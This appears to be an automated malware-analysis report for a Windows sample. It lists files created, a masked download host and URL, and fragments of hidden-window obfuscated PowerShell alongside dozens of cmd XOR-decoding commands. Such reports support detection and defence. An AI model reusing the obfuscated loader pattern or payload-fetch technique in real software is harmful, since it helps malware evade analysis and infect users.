Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\compute.pro
Network activity
Connects to
- 'gl#####aravaning.com':80
TCP
HTTP GET requests
- http://gl#####aravaning.com/m###s/undeflowered.qxd
UDP
- DNS ASK gl#####aravaning.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Diasset=14851+5149;Function Ananthous9 ([String]$Tonguefence){$Benzol=5;For($Unshell=4; $Unshell -lt $Tonguefence.Length-1; $Unshell+=$Benzol){$enetimers = 'su'+'bstring';$plirre=$plirre+$Ton...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Diasset=14851+5149;Function Ananthous9 ([String]$Tonguefence){$Benzol=5;For($Unshell=4; $Unshell -lt $Tonguefence.Length-1; $Unshell+=$Benzol){$enetimers = 'su'+'bstring';$plirre=$plirre+$Ton...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 238^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 193^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 214^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 199^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 212^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 243^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 207^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 246^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 234^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 206^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 210^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 170^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 166^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 196^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 228^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 194^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 197^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 237^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 200^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 240^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 231^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 211^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 180^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 213^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 255^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 245^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 242^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 227^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 235^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 168^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 241^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 225^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 226^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 239^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 229^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 244^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 233^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 224^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 209^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 232^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 181^^134"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Ingolfs10702([String]$Nage) { $Gulliss = [System.Byte[]]::CreateInstance([System.Byte],$Nage.Length / 2) $Civilisationer = (cmd /c 'echo 16') For($Waggoners=0; $Waggoners -lt $Nag...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 203^^134"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 208^^134"
